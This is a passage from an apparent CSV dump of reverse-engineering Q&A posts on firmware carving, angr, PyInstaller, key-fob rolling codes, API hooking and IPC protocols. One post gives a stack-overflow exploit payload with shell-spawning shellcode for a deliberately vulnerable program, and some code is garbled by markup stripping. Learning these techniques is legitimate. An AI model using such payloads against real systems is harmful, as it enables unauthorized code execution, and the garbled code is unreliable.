+ +I carve the file starting from the first occurrence of the magic bytes by running dd if=carved.bin of=arm.gz bs=1 skip=39736. file returns arm.gz: gzip compressed data, unknown method, has CRC, extra field, has comment, encrypted, last modified: Mon Sep 15 08:57:49 1975 and gunzip refuses to unzip, saying unknown method 60 -- not supported. Most later occurrences of 1f8b are not aligned at the beginning of a byte, so I assume they are not good candidates for carving and unzipping. It seems like the first occurrence, and subsequent occurrences, might just all be by chance. + +Is this truly a zImage, or could binwalk and file be confused? How can I tell? How do I extract it? + +Unfortunately, I can't provide the binary for your own perusal. + +Update - 6/25/2019 + +I've included a graph of the entropy of the file, as requested by julian. It does look like the section in question is compressed. + + + +Update - 7/5/2019 + +Upon further review with an expert, it seems like binwalk misidentified the type(s) of files. It looks like there is a custom unpacker I need to either disassemble or have it run and then take the unpacked image from memory. +" +['ida']," Title: IDA freeware (v7.0) exporting Hex-View ABody: I'd like to export the Hex View generated from IDA to a file with the addresses intact similar to the .LST files generated for assembly instructions. + +The closest I've come to generating this file is to select all and then export as a string. However this doesn't save the addresses. + +Is there a way to produce this data? +" +"['debugging', 'ollydbg', 'debuggers']"," Title: How to redirect stdin in OllyDbg?Body: When I use IDA, I can use stdin from the file as in bash. + + + +When I tried to do it in OllyDbg, it processed the parameters simply as a string. + + + +Can I redirect stdin in OllyDbg? +" +"['python', 'exe']"," Title: How to create executable (create build) from original decompiled exe?Body: I have reverse engineered exe file using pyinstxtractor.py script. +There were around 1120 files in PYZ archive. + +
F:\Python Test>python pyinstxtractor.py test.exe
+[*] Processing test.exe
+[*] Pyinstaller version: 2.1+
+[*] Python version: 27
+[*] Length of package: 4992914 bytes
+[*] Found 11 files in CArchive
+[*] Beginning extraction...please standby
+[+] Possible entry point: pyiboot01_bootstrap
+[+] Possible entry point: pyi_rth_multiprocessing
+[+] Possible entry point: pyi_rth_pkgres
+[+] Possible entry point: pyi_rth_win32comgenpy
+[+] Possible entry point: pyi_rth__tkinter
+[+] Possible entry point: gui
+[*] Found 1120 files in PYZ archive
+[*] Successfully extracted pyinstaller archive: test.exe
+
+
+ +I have found the entry point that is gui file , and decompiled that file to source code after update of header bytes in hex editor. + +Now my question is when i try to repack using this command + +
pyinstaller gui.py 
+
+ +, the resultant exe doesn't have those 1120 files in its PYZ archive ( becoz i again extracted the contents of my final exe file). +How can i embed that PYZ folder into this exe? +" +['serial-communication']," Title: Help decoding this UART serial signalBody: I'm trying to break into a doorbell. It has a clearly labeled TX pin. + +Here's the output from my Labrador oscilloscope/logic analyzer.. I can't get it to make any sense though. Any ideas? I have the settings at 9600 baud/8/N. + + +" +['entropy']," Title: What is an entropy graphBody: I am new to reversing and I see a tool Detect It Easy and it has a feature called Entropy. I want to know what it is used for? +" +"['ollydbg', 'anti-debugging', 'x64dbg', 'breakpoint']"," Title: Process terminating when breakpoint reachedBody: I want to set breakpoint on the recv function to replace the received packets. But, I can not put breakpoint on any instruction in the program, the process simply closes with code 4000001f. I also tried a hardware breakpoint, but that doesn't help. +I have installed TitanHide plugins etc. but also without result. + +I use x32dbg (32 bit target program). And recently read this article. +But x64 debugger does not allow to open x32 application. What could be the problem? +" +"['firmware', 'embedded', 'powerpc']"," Title: vector table address in mpcXXXX microcontrollersBody: I'm disassembling some mpcXXXX microcontroller firmware, and I'm trying to find the vector table and the reset interrupt. + +For example, I know that in ARM, in some of the microcontrollers, the vector table is stored in 0x0 address, and the reset ISR is pointed as the first entry of the vector table, as shown in the picture below: + + + +Does anyone know how to find the similar in PPC microcontrollers? I went through the documentation and references, but couldn't find the answer. I suspect it could also be at 0x0 offset, however, the first memory segment in IDA starts at 0x20000 in my case. +" +['angr']," Title: angr | populate int array with constraintsBody: How do I populate memory address using angr with array of integers (?) and add a constraint so each int will be positive & less than 17 ? + +I hope it's clear I need to find out the in_array combination + +chall.c + + + +
// gcc -m32 chall.c -o chall 
+#include <stdlib.h>
+#include <stdio.h>
+#include <string.h>
+
+int p = 0;
+int c = 1;
+char d[45] = {0, 0, 0, 0, 1, 0, 0, 1, 0, 1, 1, 1, 1, 0, 0, 0, 1, 1, 0, 0, 1, 0, 1, 0, 0, 0, 1, 1, 1, 0, 0, 0, 1, 0, 0, 0, 0, 1, 1, 1, 1, 1, 0, 1, 0};
+char in_array[16] = {0};
+
+int M(char *a1, int a2);
+void BAD();
+void GOOD();
+
+int main(int argc, char *argv[])
+{
+  if (M(in_array, 16))
+    GOOD();
+}
+
+
+int M(char *a1, int a2)
+{
+  char *v2; // r11
+  unsigned int v3; // r10
+  signed int v4; // r9
+  int v5; // r6
+  int v6; // r3
+  int v7; // r4
+  int v8; // r5
+  signed int v9; // r8
+  unsigned int v10; // r2
+  unsigned int v11; // r1
+  char v12; // r1
+  int v14; // [sp+14h] [bp-34h]
+  char v15[16]; // [sp+18h] [bp-30h]
+  int v16; // [sp+28h] [bp-20h]
+
+  v2 = a1;
+  v3 = a2;
+  if ( a2 >= 2 )
+  {
+    v4 = (unsigned int)a2 >> 1;
+    M(a1, (unsigned int)a2 >> 1);
+    if ( c )
+    {
+      v5 = (int) &v2[v3 >> 1];
+      M(&v2[v3 >> 1], v3 - (v3 >> 1));
+      if ( c )
+      {
+        v6 = v3 - (v3 >> 1);
+        v14 = v3 - (v3 >> 1);
+        if ( (signed int)(v3 - (v3 >> 1)) >= 1 )
+        {
+          v7 = 0;
+          v8 = 0;
+          v9 = 0;
+          while ( 1 )
+          {
+            v10 = *(char *)(v5 + v8);
+            v11 = v2[v9];
+            if ( v11 >= v10 )
+            {
+              if ( v11 <= v10 || d[p] )
+              {
+LABEL_21:
+                c = 0;
+                BAD();
+                // return 0;
+              }
+              ++p;
+              v12 = *(char *)(v5 + v8++);
+            }
+            else
+            {
+              if ( d[p] != 1 )
+                goto LABEL_21;
+              v6 = v14;
+              ++p;
+              v12 = v2[v9++];
+            }
+            v15[v7++] = v12;
+            if ( v9 >= v4 || v8 >= v6 )
+              goto LABEL_16;
+          }
+        }
+        v9 = 0;
+        v8 = 0;
+        v7 = 0;
+LABEL_16:
+        if ( v4 > v9 )
+        {
+          memcpy(&v15[v7], &v2[v9], v4 - v9);
+          v6 = v14;
+          v7 = v7 + v4 - v9;
+        }
+        if ( v8 < v6 )
+          memcpy(&v15[v7], &v2[v8 + v4], v3 - v8 - v4);
+        memcpy(v2, v15, v3);
+      }
+    }
+  }
+  return 1;
+}
+
+void BAD() 
+{
+  printf(""BAD\n"");
+  exit(2);
+}
+
+void GOOD() 
+{
+  printf(""GOOD\n"");
+
+  for (int j = 0; j < 16; j++)
+    printf(""%d "", in_array[j]);
+
+  printf(""\n"");
+}
+
+
+ + + +

+$ readelf -s chall | grep -E ""in_array|GOOD|BAD|main"" | grep -v libc
+    44: 0000063d    46 FUNC    GLOBAL DEFAULT   14 BAD
+    72: 000006d9    69 FUNC    GLOBAL DEFAULT   14 main
+    78: 00002078    16 OBJECT  GLOBAL DEFAULT   24 in_array
+    79: 0000066b   110 FUNC    GLOBAL DEFAULT   14 GOOD
+
+
+ +solve.py + + + +
import angr
+import claripy
+
+base = 0x400000
+main, good, bad = base + 0x6d9, base + 0x66b, base + 0x63d
+pointer_size = 4
+in_array_addr, in_array_size = base + 0x2078, 16 * pointer_size
+
+p = angr.Project('./chall')
+state = p.factory.blank_state(addr=main)
+
+arr = claripy.BVS('in_array', in_array_size)
+for i in arr.chop(pointer_size):
+  state.add_constraints(i >= 0)
+  state.add_constraints(i < 17)
+state.memory.store(in_array_addr, arr)
+
+sm = p.factory.simulation_manager(state)
+
+sm.explore(find=good, avoid=bad)
+print('found ?', len(sm.found))
+
+flag_state = sm.found[0]
+flag_data = flag_state.memory.load(in_array, in_array_size)
+print(flag_state.solver.eval(flag_data, cast_to=bytes).strip(b'\0\n'))
+
+
+ +angr log + +
WARNING | cle.loader | The main binary is a position-independent executable. It is being loaded with a base address of 0x400000.
+WARNING | angr.state_plugins.symbolic_memory | The program is accessing memory or registers with an unspecified value. This could indicate unwanted behavior.
+WARNING | angr.state_plugins.symbolic_memory | angr will cope with this by generating an unconstrained symbolic variable and continuing. You can resolve this by:
+WARNING | angr.state_plugins.symbolic_memory | 1) setting a value to the initial state
+WARNING | angr.state_plugins.symbolic_memory | 2) adding the state option ZERO_FILL_UNCONSTRAINED_{MEMORY,REGISTERS}, to make unknown regions hold null
+WARNING | angr.state_plugins.symbolic_memory | 3) adding the state option SYMBOL_FILL_UNCONSTRAINED_{MEMORY_REGISTERS}, to suppress these messages.
+WARNING | angr.state_plugins.symbolic_memory | Filling memory at 0x7fff0000 with 4 unconstrained bytes referenced from 0x4006e0 (main+0x7 in chall (0x6e0))
+WARNING | angr.state_plugins.symbolic_memory | Filling register ebp with 4 unconstrained bytes referenced from 0x4006e3 (main+0xa in chall (0x6e3))
+WARNING | angr.state_plugins.symbolic_memory | Filling register esi with 4 unconstrained bytes referenced from 0x400721 (M+0x3 in chall (0x721))
+WARNING | angr.state_plugins.symbolic_memory | Filling register ebx with 4 unconstrained bytes referenced from 0x400722 (M+0x4 in chall (0x722))
+found ? 0
+
+" +['law']," Title: Which countries allow reverse engineering for one of their licences when it permits unlimited software copying, & doesn't forbid reverse engineering?Body: I was under the impression that reverse engineering can mainly be legally prohibited in two ways: via copyright law forbidding the making of copies; and via an end-user licence agreement (EULA) specifically prohibiting reverse engineering. + +I've come across a software licence that permits unlimited software copying (under certain conditions) & doesn't explicitly prohibit reverse engineering. I'm based in the UK, and thought that if UK law governed the agreement, that I would then be able to reverse engineer the software (under the certain conditions). + +It just so happens that Californian law governs the licence so I'm slightly unsure as to whether I can legally reverse engineer the software. + +Anyone have any answers on the overall question of this post? +" +"['malware', 'android', 'firmware-analysis']"," Title: Reverse Engineering Android ROMS to detect malicious codeBody: I'm working on reverse Engineering Android ROMS (Firmware you can flash onto your phone) so that I can scan them for malicious behavior. I've been looking all over the internet but unfortunately I'm coming short on any guides to do this or a lead of which to achieve this. My question is, given an android ROM such as the ones you can download online which tools / methodologies have you guys found most effective in dissecting them to detect malicious behavior (such as sending your private data to China for example). +" +"['radare2', 'buffer-overflow']"," Title: Illegal instruction error in simple buffer overflowBody: I using following C code for testing stack based simple buffer overflow + +
#include<stdio.h>
+#include<string.h>
+void copier(char *arg){
+    char buffer[100];
+    strcpy(buffer,arg);
+}
+int main(int argc, char *argv[]){
+    copier(argv[1]);
+    printf(""Done!"");
+    return 0;
+}
+
+ +Compiled the code with + +
gcc -fno-stack-protector -z execstack -no-pie -fno-pic -m32 -o testcode testcode.c
+
+ +ASLR is turned off + +In order to get the offset from buffer which eip is overridden with I have used ragg2 to generate pattern and r2 to find offset + +
ragg2 -P 200 -r > input.txt
+r2 -d testcode $(cat input.txt)
+->dc
+child stopped with signal 11
+[+] SIGNAL 11 errno=0 addr=0x416d4141 code=1 ret=0
+
+->wopO 0x416d4141
+112
+
+ +Now a simple string of length 116 can be sent as input to the program while debugging, so for this I have done the following + +
r2 -A -d testcode $(python -c ""print('A'*116)"")
+> dcu sym.copier
+
+ +Here is disassembled view of copier function + +
0x08048456      55             push ebp                                                                                             
+0x08048457      89e5           mov ebp, esp                                                                                         
+0x08048459      83ec78         sub esp, 0x78               ; 'x'                                                                    
+0x0804845c      83ec08         sub esp, 8                                                                                           
+0x0804845f      ff7508         push dword [ebp + 8]                                                                                 
+0x08048462      8d4594         lea eax, [ebp - 0x6c]                                                                                
+0x08048465      50             push eax                                                                                             
+0x08048466      e8a5feffff     call sym.imp.strcpy         ;[1]                                                                     
+0x0804846b      83c410         add esp, 0x10                                                                                        
+0x0804846e      90             nop                                                                                                  
+0x0804846f      c9             leave                                                                                                
+0x08048470      c3             ret
+
+ +After continuing execution upto sym.imp.strcpy, the buffer is + +
px @esp
+- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF
+0xffffd060  7cd0 ffff 6bd3 ffff f8da fff7 dcd0 ffff  |...k...........
+0xffffd070  0000 0000 9bff fdf7 0c82 0408 4141 4141  ............AAAA
+0xffffd080  4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
+0xffffd090  4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
+0xffffd0a0  4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
+0xffffd0b0  4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
+0xffffd0c0  4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
+0xffffd0d0  4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
+0xffffd0e0  4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
+0xffffd0f0  00d3 ffff b4d1 ffff c0d1 ff              ...........
+
+ +Now, from above I can generate a payload as - +64 byte nops + 32 byte shellcode + 16 Byte padding + address to override eip + +Now the according to the memory dump found, I have chosen address 0xffffd0b0 to override eip(real shellcode starts at 0xffffd0bc, addresses before that filled with nops) + +
nop = '\x90'*64
+payload = '\x31\xc0\x89\xc3\xb0\x17\xcd\x80\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80'
+padding = 'A'*(112-64-32)
+addr = '\xb0\xd0\xff\xff'
+
+print(nop+payload+padding+addr)
+
+ +While debugging within radare2, after executing the return instruction in sym.copier eip gets overridden by the adress I provided. But When I run the program from a shell I am getting Illegal instruction(Core dumped) + +What I found from Google and other stackexchange posts is that incorrect environment variable settings may cause this problem. So within radare2 I have checked the loaded environment variables by + +
dcu entry0
+pxr @esp
+
+ +I found that there is one environment variable OLDPWD is present in stack which is not present in the output of env command. Another variable TMPDIR is also present sometimes. Another thing is (pardon me if this is not related at all) after executing !env within radare2 I found some of the actual environment variables were missing which are present in env output and some other debugging related variables were also present (GJS_DEBUG_TOPICS, RABIN2_LANG etc.) + +radare2 version + +
radare2 3.7.0-git 22245 @ linux-x86-64 git.3.6.0-14-g4a1392932
+commit: 4a1392932e08296283bbd8edb09cc35998a66d29 build: 2019-06-27__22:50:24
+
+ +I just don't know how to proceed to find an address that I can hardcode into exploit. +" +"['firmware', 'arduino']"," Title: Avrdude inconsistent readingsBody: I have a problem with this dude and i don't know what to do to make him do a consistent reading or to figure out which reading is the perfect one +I'm trying to read my own arduino uno which has a sample sketch i read it fine and the reading completes perfectly.but the problem is when i read the file more than 3 times the 4 files i got are different.first one has data only until 870 and has some string characters (which exist in serial print) second file has data until Hex 1570. And the third one has data until 1570 plus at the end of the file (i think it is the bootloader section). +The fourth file is completely full but after 1570 it seams that the data is repeated.( I think this is the correct one since my example file has only 4 lines repeated to fill up the entire program memory) +The problem is why avrdude doesn't read the same reading each time. +I wanted to show some pictures but i think that this is clear enough to understand the issue +" +['crc']," Title: Reverse engineering CRC and rolling codeBody: Using an SDR I read out the transmitted message of a key fob for my old car. The car is a 98 Mercury Grand Marquis. It's quite old so I dought it's very sophisticated. + +
55549d1748c2aa11d2044f
+55549d1748c2aa12b70132
+55549d1748c2aa139c081f
+55549d1748c2aa148102ff
+55549d1748c2aa156604e7
+55549d1748c2aa164b01ca
+55549d1748c2aa173008b7
+55549d1748c2aa18150297
+55549d1748c2aa19fa047f
+55549d1748c2aa1adf0162
+55549d1748c2aa1bc4084f
+55549d1748c2aa1ca9022f
+55549d1748c2aa1d8e0417
+55549d1748c2aa1e7301fa
+55549d1748c2aa1f5808e7
+55549d1748c2aa203d02c7
+55549d1748c2aa212204af
+55549d1748c2aa22070192
+55549d1748c2aa23ec087f
+55549d1748c2aa24d1025f
+55549d1748c2aa25b60447
+55549d1748c2aa269b012a
+55549d1748c2aa27800817
+55549d1748c2aa286502f7
+55549d1748c2aa294a04df
+
+ +Here is some of the data I've captured. What I have so far is as follows. + +Bytes 1-6 never change. I assume they are like a signature or serial number or ID of some sorts. + +Bytes 7 and 8 count up. I'm guessing this is the number only used once. When byte 8 rolls over, byte 7 increments. + +Byte 9 seems random. It might be the rolling code. + +Byte 10 is the button being pressed. The fob has 4 buttons and there are four numbers that show up here: 0x04, 0x08, 0x01, and 0x02. + +Byte 11 also seems random. I assume this is the CRC just because it shows up at the end of the message. + +I've tried using reveng with no success. I fed it all of the listed data and more and it always comes back with ""no model found"". I'm not at all familiar with using reveng so just in case I'm an idiot here are the commands I've tried. each command was followed by the data through a batch file. + +
reveng -w 8 -s
+reveng -w 8 -l -s
+reveng -w 8 -F -s
+reveng -w 8 -l -F -s
+
+ +Any thoughts or ideas would be appreciated. + +Edit 1 + +It seems that I may have cracked the checksum. It is a simple sum of the message. The catch is that the first 2 bytes are not included. Also, the sum is truncated to just the least significant byte. I have not exhaustively checked the whole data set but spot checking seems to work 100% of the time. + +
9d1748c2aa11d2044f  34f
+9d1748c2aa12b70132  332
+9d1748c2aa139c081f  31f
+9d1748c2aa164b01ca  2ca
+9d1748c2aa173008b7  2b7
+9d1748c2aa19fa047f  37f
+9d1748c2aa1adf0162  362
+9d1748c2aa1d8e0417  317
+9d1748c2aa1e7301fa  2fa
+
+" +['tools']," Title: How to speed up panda?Body: When looking for a reversing tool I discovered PANDA. Unfortunately, its performance is too slow. When I run some large programs in a virtual machine, the whole system becomes very slow and I can't debug the programs at all. Are there other faster full system debuggers that support taint forward or backward analysis? +" +['radare2']," Title: Radare2 show current RIP and current instruction while steppingBody: How can I get the same behavior as in gdb when using disassemble-next-line on? + +When I step in radare2, I just see: + +
[0x7fea91263220]> ds
+[0x7fea91263220]> ds
+[0x7fea91263220]> ds
+
+ +Why doesn't it increment? How do I get it to show what instruction it is at? +" +"['ida', 'disassembly', 'x86', 'cheat-engine']"," Title: Finding address in IDA from address found in Cheat EngineBody: I found a pointer's address, 0x485FE058, in Cheat Engine. However, when I load up the exe in IDA, the addresses are smaller and start from 0x00401000. I read up somewhere that this was called virtual memory addresses. But, after looking, I couldn't figure out how to plug the dynamic addresses in Cheat Engine and make them show up. +" +['python']," Title: Reverse Python BytecodeBody: I try reverse python bytecode (Content in a .pyc file). I do not want to decompile the code, just understand the Python bytecode :) + +The LOAD_NAME statement, pushes the value associated with co_names (tuple of names of local variables...) [namei] onto the stack. (How can I check these values contained in co_names?) + + +" +['disassemblers']," Title: what's meaning address inside disassemblerBody: I'm recently start in reverse engineering filed. While working with the disassembler I asked myself:what the ""address"" label meant. For example here we have hopper image:https://www.hopperapp.com/tutorial_files/overview@2x.jpg + +As you can see atbbottom of hopper we have 0x100001dc0 and offset:0x1dc0, I know that offset is the way inside hex editor to jump directly in the function highlighted in blue by hopper,but don't know what's address. +Someone told me that ""address"" indicate the virtual address of instruction, but I know that virtual address is calculate/managed at runtime by the OS and this confuse me a bit. Someone can explain me what I did misunderstand? Thanks +" +"['ida', 'static-analysis', 'compilers']"," Title: Identify function in cpp static binaryBody: When I open cpp static binary, how can identify known functions like fopen/ioctl/printf? They have been compiled statically into the binary. + +I dont know the compiler of this binary . +" +"['c++', 'function-hooking']"," Title: How Do i create a simple Detour LibraryBody: Quite new to Reverse Engineering and making Detour Functions, Just need some form of clarification here, i am trying to make a Simple x86 Detour library and i have worked on something using some Sources i saw on the Internet. +Now i have a challenge with the simple MessageBox does not trigger errors at the same time , it fails to hook as i get this Execption + +
Exception thrown at 0x0F2B3839 (vcruntime140d.dll) in SHook.exe: 0xC0000005: Access violation writing location 0x75C51F70.
+
+ +On this Line + +
memcpy(original, FunctionAddress, TrampolineLength);
+
+ +My source code looks like this : + +SHook.h + +
#pragma once
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <Windows.h>
+#include ""hde32.h""
+
+class SHook
+{
+private :
+    LPVOID FunctionAddress;
+    DWORD TrampolineLength = 0, OriginalProtection;
+    hde32s disam;
+    BYTE Jump[5] = { 0xE9, 0x00, 0x00, 0x00, 0x00 };
+public:
+    BOOL SetHook(LPCSTR dll, LPCSTR name, LPVOID proxy, LPVOID original, PDWORD length);
+};
+
+ +Now SHook.cpp + +
#include ""SHook.h""
+
+BOOL SHook::SetHook(LPCSTR dll, LPCSTR name, LPVOID proxy, LPVOID original, PDWORD length)
+{
+    LPVOID FunctionAddress;
+    DWORD TrampolineLength = 0, OriginalProtection;
+    hde32s disam;
+    BYTE Jump[5] = { 0xE9, 0x00, 0x00, 0x00, 0x00 };
+
+    FunctionAddress = GetProcAddress(GetModuleHandleA(dll), name);
+    if (!FunctionAddress)
+        return FALSE;
+
+    //disassemble length of each instruction, until we have 5 or more bytes worth
+    while (TrampolineLength < 5)
+    {
+        LPVOID InstPointer = (LPVOID)((DWORD)FunctionAddress + TrampolineLength);
+        TrampolineLength += hde32_disasm(InstPointer, &disam);
+    }
+
+    //Build the trampoline buffer
+    memcpy(original, FunctionAddress, TrampolineLength); //shoots error here
+    *(DWORD*)(Jump + 1) = ((DWORD)FunctionAddress + TrampolineLength) - ((DWORD)original + TrampolineLength + 5);
+    memcpy((LPVOID)((DWORD)original + TrampolineLength), Jump, 8);
+
+    //Make sure the function is writable
+    if (!VirtualProtect(FunctionAddress, TrampolineLength, PAGE_EXECUTE_READWRITE, &OriginalProtection))
+        return FALSE;
+
+    //Build and atomically write the hook
+    *(DWORD*)(Jump + 1) = (DWORD)proxy - (DWORD)FunctionAddress - 5;
+    //SafeMemcpyPadded(FunctionAddress, Jump, 5);
+
+    //Restore the original page protection
+    VirtualProtect(FunctionAddress, TrampolineLength, OriginalProtection, &OriginalProtection);
+
+    //Clear CPU instruction cache
+    FlushInstructionCache(GetCurrentProcess(), FunctionAddress, TrampolineLength);
+
+    *length = TrampolineLength;
+    return TRUE;
+}
+
+ +And the implementation is looking like this + +MessageBoxTest.cpp + +
#include <stdio.h>
+#include <Windows.h>
+#include <intrin.h>
+#include <string>
+#include ""SHook.h""
+
+typedef int (WINAPI* TdefOldMessageBoxA)(HWND hWnd, LPCSTR lpText, LPCTSTR lpCaption, UINT uType);
+TdefOldMessageBoxA myOldMessageBoxA;
+
+SHook shook;
+int WINAPI HookMessageBoxA(HWND hWnd, LPCSTR lpText, LPCTSTR lpCaption, UINT uType) 
+{
+    MessageBoxA(NULL, ""Hooked"", ""Hooked"", MB_OK);
+    return myOldMessageBoxA(hWnd, lpText, lpCaption, uType);
+}
+
+void EstablishHook()
+{
+        myOldMessageBoxA = (TdefOldMessageBoxA)& MessageBoxA;
+        shook.SetHook(""user32.dll"",""MessageBoxA"", (LPVOID)&HookMessageBoxA, myOldMessageBoxA,0);
+}
+
+int main() 
+{
+    EstablishHook();
+}
+
+ +Please Can someone give a clarification what i did miss pls + +I am trying to understand what i missed there? Please i do need some form of help here +" +['hardware']," Title: Is it possible to bypass the microcontroller on this massage chair without removing it?Body: For a research project I'm trying to create a manual control for the Chinese massage chair we've acquired, as the inbuilt controller only allows for its 5 preset programs. I am wondering what is the best way to go about this? + +What we want to create is a serial connection for our (C sharp) program on a PC, so we can control each of the chair's functions. Instead of wasting our time to completely redo the control board, it seems more effective to either reprogram the current microcontroller or bypass it with our own. In all its fanciness, the chair is quite simple in its functions and only seems to use on/off control for its actuators. However as I do not feel confident implementing a serial protocol on an unknown(?) chinese IC in assembly language, the second option seems more feasible. However it would be nice to relatively easily be able to revert back to the original IC, so we'd prefer not to destroy it and ideally we'd even be able to switch back to original control. Our approach would be to first observe and measure how the io of each pin of the original microcontroller correlates to the behaviours of the chair, and then replace it by our own microcontroller. Below I have put more information on the chair, but first my main questions: + +-Could I simple cut the main Vdd line of the original microcontroller and add a switch to be able to switch between our custom control and the original control? Or would the original microcontroller be powered through the other lines and interfere with our own microcontroller? +-Would there a way to read out the current hex code of the original microcontroller so we would be able to replace the chip in case we'd accidentally fried one? +-I tried looking, but didn't find anything, but would there be such a thing as a reverse QFP breakout board? A board that I could mount in place of the original microcontroller, and breaks it out to say 0.1"" headers? Or is the better way to go to search for larger solder points on the same trace and wire it to my own board? +-Any other tips for going about this are welcome! +​ + +Images of the board: https://imgur.com/a/1xOgXYO + +Functions: + +-It has an air pump feeding four sets of air bags through four solenoid valves +-It has six 24V motors: +-Three for the main massage assembly +-One for lateral movement (with two end switches) +-One for kneading +-One for vibration +-One for the foot massage rollers +-One for adjusting the orientation of the chair +-One for vibration under the seat (this might have a lower voltage, I didn't check it out yet) +'It has heated areas at the back, seat and legs. It yet unclear if these are individually controllable +-There is a switch to sense a person sitting on the chair +-There is two small RGB LED panel on the sides of the chair + +Looking at the control board I see +-A SinoWealth SH88F516 microcontroller as the brain. +-Two ULN2003A transistor arrays that I assume to drive the four relays (there is four more mounting points, probably for a more fancy model) +-On the bottom is a row of heat-sinked transistors +I assume that together the relays and heat-sinked transistors take care of driving the motors and their direction, although I didn't dive yet into how this exactly works (feel free to explain how this is implemented ;) ) +-A row of transistors on the top driving the four valves ( there is options for four more, probably for a more fancy model) +-There is a seperate board that drive the two RGB LED panels ++There is a whole bunch of wires going to the main massage assembly that I didn't check out yet what they might be for, but I assume they are rotational and maybe pressure sensors. +" +"['c', 'static-analysis', 'dynamic-analysis', 'protocol']"," Title: Reconstructing struct/union-based IPC protocol wire formatBody: I'm embarking on my first reverse-engineering adventure. I think I've picked a rather dense piece of steak to start out with. + +I have three C programs which communicate together using an unknown IPC protocol over TCP sockets. + + + +My first goal is to understand the fundamentals of the IPC wire format by disassembling the shell/REPL control program. The smallness of the control program is encouraging. + +With this done, I want to dive into the additional IPC-related functionality only available in the frontend program, which is somewhat bigger (and has noise in the form of UI code). + +I have a very hopeful starting environment: I've gotten the two armel programs running in QEMU (the target, easily enough; the control program, after much effort). The x86 binary trivially runs on my host computer. + +I've also put together a shaky but functional hamster dance of scripts that route the traffic between the two armel programs (incidentally running in separate QEMU VMs, for operational simplicity!) in such a way that I can intercept the traffic at any time. + +And so it is that I... take one look at the protocol and have no idea how to proceed: + +
+21:37:21.839965  UI->target   08 00 00 00  01 00 00 01  00 00 00 00  03 00 00 00   .... .... .... ....
+                 UI->target   01 00 00 00                                          .... 
+
+21:37:21.892845  target->UI   04 00 00 00  01 00 00 01  00 00 00 00  3a 03 00 00   .... .... .... :...
+
+21:37:21.930144  UI->target   08 00 00 00  06 00 00 01  00 00 00 00  6c 70 70 61   .... .... .... lppa
+                 UI->target   00 00 00 00                                          ....
+
+21:37:21.991124  target->UI   d0 02 00 00  06 00 00 01  00 00 00 00                .... .... ....
+
+ +I incidentally know what ""lppa"" means - but this small fragment was taken from a 4,000-line protocol dump that clearly shows that the other bytes change in important ways, but I don't have the experience to discern patterns or significance from the changes. + +The only thing I immediately twigged about was the suspicion that I was looking at C structs dumped straight onto a network. For what this program was and did, that makes a lot of sense (it's for all intents and purposes an internal IPC protocol that doesn't, well, need to be particularly resilient). + +So, I fired up Ghidra, which I learned about a little while back. Finally, IDA Pro has some competition :) + +I spent some time ambling aimlessly around inside the decompiler, and fairly quickly found the following interesting function that does both recv() and send(). + +But the way this function works is both really interesting and really confusing. + +I've highlighted some lines below that refer to buffer_length which are really messing with my head. + +When I first saw the code around buffer_length I happened to be looking at the second send() call, so it felt natural to rename that variable to describe ""length"". + +But then I looked at the first send() and found that buf was being pointed to... yeah no that doesn't work. + +So I now wonder if this might actually a union. YAY. + +(See below for the struct definition) + +
+uint maybe_perform_ipc(astruct *something_struct) {
+
+    char *buf;
+    uint return_code;
+    ssize_t bytecount;
+    size_t message_length;
+
+    bytecount = 0;
+    return_code = 0x30040000;
+    something_struct->only_used_once_and_set_to_256 = 0x100;
+    message_length = 12;
+    buf = (char *)&something_struct->buffer_length;
+
+    while (
+        message_length > 0 &&
+        (bytecount = send(something_struct->socket, buf, message_length, MSG_NOSIGNAL)) > 0
+    ) {
+        message_length -= bytecount;
+        buf += bytecount;
+    }
+
+    if (bytecount > -1) {
+
+        if (something_struct->buffer_length != 0) {
+            message_length = something_struct->buffer_length;
+            buf = (char *)something_struct->buffer;
+            while (
+                message_length > 0 &&
+                (bytecount = send(something_struct->socket, buf, message_length, MSG_NOSIGNAL)) > 0
+            ) {
+                message_length -= bytecount;
+                buf += bytecount;
+            }
+            if (bytecount buf = (char *)&something_struct->buffer_length;
+
+        while (
+            message_length > 0 &&
+            (bytecount = recv(something_struct->socket, buf, message_length, 0)) > 0
+        ) {
+            message_length -= bytecount;
+            buf = buf + bytecount;
+        }
+
+        if (bytecount > -1 && message_length maybe_status_code == 0) {
+
+                my_free_then_realloc((astruct_4 *)something_struct, something_struct->buffer_length);
+
+                if (something_struct->buffer_length != 0) {
+
+                    message_length = something_struct->buffer_length;
+                    buf = (char *)something_struct->buffer;
+
+                    while (
+                        message_length > 0 &&
+                        (bytecount = recv(something_struct->socket, buf, message_length, 0)) > 0
+                    ) {
+                        message_length -= bytecount;
+                        buf = buf + bytecount;
+                    }
+
+                    if (bytecount maybe_status_code | 0x30060000;
+
+            }
+
+        }
+
+    }
+    return return_code;
+}
+
+ +
+offset  length  type           name
+0x0     0x4      int           maybe_signature 
+0x4     0x1      undefined  
+0x5     0x1      undefined  
+0x6     0x1      undefined  
+0x7     0x1      undefined  
+0x8     0x1      undefined  
+0x9     0x1      undefined  
+0xa     0x1      undefined  
+0xb     0x1      undefined  
+0xc     0x4      int           socket 
+0x10    0x4      uint          buffer_length 
+0x14    0x2      undefined2    maybe_function_code 
+0x16    0x2      undefined2    only_used_once_and_set_to_256 
+0x18    0x2      ushort        maybe_status_code 
+0x1a    0x1      undefined  
+0x1b    0x1      undefined  
+0x1c    0x4      uint  
+0x20    0x4      void *        buffer 
+0x24    0x4      undefined4    maybe_pid 
+
